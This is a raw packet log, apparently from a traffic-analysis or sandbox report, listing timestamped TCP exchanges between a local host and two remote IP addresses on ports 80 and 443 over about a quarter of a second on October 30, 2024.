Oct 30, 2024 05:25:25.645534992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645545006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645569086 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645595074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645595074 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645606041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645633936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645639896 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645639896 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645679951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645683050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645692110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645714045 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645726919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645737886 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645742893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645750046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645759106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645776987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645792007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645801067 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645836115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645868063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645878077 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645889044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645914078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645922899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645926952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645966053 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.645987034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.645996094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646012068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646022081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646039009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646042109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.646059036 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.646078110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.646147013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646157980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646166086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646192074 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.646203041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646213055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.646239042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.646260023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.646303892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.689434052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.689454079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.689466000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.689476013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.689507008 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.689527035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.693325996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693346024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693365097 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693375111 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693381071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.693387032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693392038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.693397045 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693407059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693413019 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693414927 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.693427086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.693439960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.693465948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.694727898 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.717952013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.717963934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.717978954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.717991114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718000889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718014002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718024015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718034983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.718039989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718054056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718058109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.718067884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718075037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.718077898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.718096972 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.718130112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762118101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762128115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762139082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762147903 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762217999 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762238026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762244940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762255907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762265921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762288094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762288094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762306929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762442112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762464046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762474060 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762475014 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762485027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762497902 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762497902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762509108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762523890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762535095 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762558937 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762861013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762908936 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762924910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762943983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762963057 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762972116 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.762973070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.762995005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763017893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763278008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763287067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763297081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763329029 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763339043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763349056 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763351917 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763362885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763394117 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763398886 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763407946 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763415098 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763421059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763443947 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763474941 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763477087 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763489008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763499022 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763531923 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763545990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763685942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763695002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763700962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763766050 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763767958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763776064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763784885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763797998 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763803005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763812065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763824940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763828993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763838053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763844013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763849974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763873100 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763881922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763892889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.763892889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763915062 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.763931036 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764333010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764343023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764357090 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764385939 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764386892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764400005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764410973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764421940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764432907 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764458895 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764662027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764682055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764692068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764712095 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764724970 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764736891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764748096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764759064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764806032 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764961958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764972925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764988899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.764997005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.764997005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765000105 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765026093 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765052080 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765064001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765074015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765084028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765094042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765101910 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765111923 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765136003 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765202045 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765212059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765223026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765232086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765240908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765242100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765252113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765266895 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765291929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765292883 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765302896 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765314102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765332937 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765345097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765353918 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765363932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765373945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765392065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765393019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765403032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765403032 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765429974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.765494108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765502930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.765533924 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.807569981 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.807670116 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.807727098 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.807903051 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.807921886 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.809097052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.809134007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.809144020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.809144974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.809170961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.809186935 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812392950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812442064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812446117 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812453985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812464952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812477112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812482119 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812484980 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812494040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812506914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812527895 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812581062 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812591076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812602043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812619925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812635899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812640905 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812678099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812760115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812800884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.812830925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812839985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.812874079 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837050915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837100983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837107897 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837117910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837133884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837146044 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837146997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837157011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837167978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837177038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837192059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837208986 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837222099 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837228060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837234974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837245941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.837271929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837271929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.837296009 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881393909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881417990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881428003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881439924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881452084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881453037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881463051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881474018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881478071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881508112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881517887 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881520033 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881527901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881536961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881568909 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881588936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881598949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881644011 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.881649971 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881659985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.881696939 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882034063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882055998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882065058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882075071 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882077932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882098913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882122993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882136106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882147074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882158995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882169962 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882181883 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882205009 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882525921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882535934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882548094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882575989 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882587910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882594109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882599115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882611990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882623911 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882625103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882639885 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882656097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882664919 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882736921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882752895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882762909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882775068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882786036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882786989 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882797956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882805109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882810116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882822990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882849932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882873058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882908106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.882972002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882982969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.882993937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883006096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883009911 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883019924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883032084 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883052111 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883066893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883075953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883085012 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883096933 CET	80	49997	185.215.113.16	192.168.2.6
